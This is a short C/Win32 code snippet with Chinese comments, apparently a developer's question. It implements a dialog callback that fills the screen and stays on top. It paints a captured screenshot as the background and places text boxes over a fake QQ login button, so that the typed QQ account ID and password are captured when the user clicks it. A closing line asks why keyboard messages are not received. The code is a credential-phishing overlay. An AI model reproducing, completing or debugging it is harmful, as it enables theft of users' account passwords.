//对话框回调函数
LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
BOOL bRet;
HDC dc, MemDc;
POINT point;
switch (message)
{
case WM_INITDIALOG:
bRet = CreateQQItem(hDlg);    //为对话框创建两个文本框来获取用户的输入

//设置对话框占满整个屏幕,并保持最前
bRet = SetWindowPos(hDlg, HWND_TOPMOST,0, 0, m_xScreen, m_yScreen,SWP_SHOWWINDOW);
return TRUE; case WM_ERASEBKGND:
//贴上截取的图片来刷新背景
dc = (HDC) wParam;
MemDc = CreateCompatibleDC(dc);
SelectObject(MemDc, g_pBitmap);
BitBlt(dc, 0, 0, m_xScreen, m_yScreen, MemDc, 0, 0, SRCCOPY);
DeleteDC(MemDc);
return true; case WM_LBUTTONDOWN:
point.x=LOWORD(lParam);
point.y=HIWORD(lParam);
//判断用户是否点击贴图上QQ登陆的按钮
if(PtInRect(&g_qqLogin, point) == true)
{
//获取用户的输入
GetWindowText(QQPASS, qqpass, 64);                   GetWindowText(QQID, qqid, 64);
// MessageBox(hDlg, qqpass, qqid, MB_OK);
DeleteObject(myfont);
EndDialog(hDlg, 0);
}
break;

case WM_CLOSE:
EndDialog(hDlg, 0);
break;
}
return FALSE;
}
//加 case WM_KEYDOWN
但接收不了键盘消息